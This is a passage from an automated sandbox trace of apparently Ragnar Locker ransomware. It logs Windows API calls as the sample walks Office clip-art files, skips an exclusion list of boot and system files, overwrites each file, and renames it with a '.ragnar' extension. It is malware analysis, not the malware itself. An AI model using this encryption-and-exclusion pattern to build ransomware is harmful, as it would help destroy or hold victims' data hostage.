lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.564] CloseHandle (hObject=0xf4) returned 1 [0096.564] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" [0096.564] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.ragnar_FD7BD9FC" [0096.564] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.565] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0096.565] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.565] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18201_.WMF" | out: lpString1="BD18201_.WMF") returned="BD18201_.WMF" [0096.565] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF") returned=".WMF" [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="autorun.inf") returned 1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="boot.ini") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="bootfont.bin") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="bootsect.bak") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="bootmgr") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="bootmgr.efi") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="desktop.ini") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="iconcache.db") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="ntldr") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="ntuser.dat") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="ntuser.ini") returned -1 [0096.565] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="thumbs.db") returned -1 [0096.565] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.565] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.565] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.565] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.565] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.565] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.565] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf")) returned 0x20 [0096.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.566] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1772) returned 1 [0096.567] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.567] GetProcessHeap () returned 0x580000 [0096.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.567] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.568] VirtualAlloc (lpAddress=0x0, dwSize=0x6ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.568] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6ec, lpOverlapped=0x0) returned 1 [0096.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.568] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.568] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6ec, lpOverlapped=0x0) returned 1 [0096.568] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.569] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.569] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.569] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.569] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.569] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.569] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.569] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.569] GetProcessHeap () returned 0x580000 [0096.569] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.569] CloseHandle (hObject=0xf4) returned 1 [0096.569] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" [0096.569] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.ragnar_FD7BD9FC" [0096.569] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.570] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0096.570] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.570] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18202_.WMF" | out: lpString1="BD18202_.WMF") returned="BD18202_.WMF" [0096.570] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF") returned=".WMF" [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="autorun.inf") returned 1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="boot.ini") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="bootfont.bin") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="bootsect.bak") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="bootmgr") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="bootmgr.efi") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="desktop.ini") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="iconcache.db") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="ntldr") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="ntuser.dat") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="ntuser.ini") returned -1 [0096.570] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="thumbs.db") returned -1 [0096.570] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.571] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.571] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.571] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.571] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.571] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.571] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf")) returned 0x20 [0096.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.571] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1388) returned 1 [0096.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x563, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.571] GetProcessHeap () returned 0x580000 [0096.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.571] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.573] VirtualAlloc (lpAddress=0x0, dwSize=0x56c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.573] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.573] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.573] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x56c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x56c, lpOverlapped=0x0) returned 1 [0096.573] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.574] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x56c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.574] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x56c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x56c, lpOverlapped=0x0) returned 1 [0096.574] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x56c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.574] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x56c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.574] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.574] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.574] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.574] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.574] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.574] GetProcessHeap () returned 0x580000 [0096.574] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.574] CloseHandle (hObject=0xf4) returned 1 [0096.574] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" [0096.574] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.ragnar_FD7BD9FC" [0096.575] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.575] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0096.575] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.575] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18203_.WMF" | out: lpString1="BD18203_.WMF") returned="BD18203_.WMF" [0096.575] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF") returned=".WMF" [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="autorun.inf") returned 1 [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="boot.ini") returned -1 [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="bootfont.bin") returned -1 [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="bootsect.bak") returned -1 [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="bootmgr") returned -1 [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="bootmgr.efi") returned -1 [0096.575] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.576] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="desktop.ini") returned -1 [0096.576] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="iconcache.db") returned -1 [0096.576] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="ntldr") returned -1 [0096.576] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="ntuser.dat") returned -1 [0096.576] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.576] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="ntuser.ini") returned -1 [0096.576] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="thumbs.db") returned -1 [0096.576] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.576] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.576] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.576] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.576] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.576] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.576] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf")) returned 0x20 [0096.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.576] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2082) returned 1 [0096.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x819, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.577] GetProcessHeap () returned 0x580000 [0096.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.577] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.578] VirtualAlloc (lpAddress=0x0, dwSize=0x822, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.578] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.578] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.578] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x822, lpOverlapped=0x0) returned 1 [0096.578] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.578] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x822, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.579] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x822, lpOverlapped=0x0) returned 1 [0096.579] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x822, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.579] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x822, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.579] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.579] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.579] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.579] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.579] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.579] GetProcessHeap () returned 0x580000 [0096.579] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.579] CloseHandle (hObject=0xf4) returned 1 [0096.579] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft 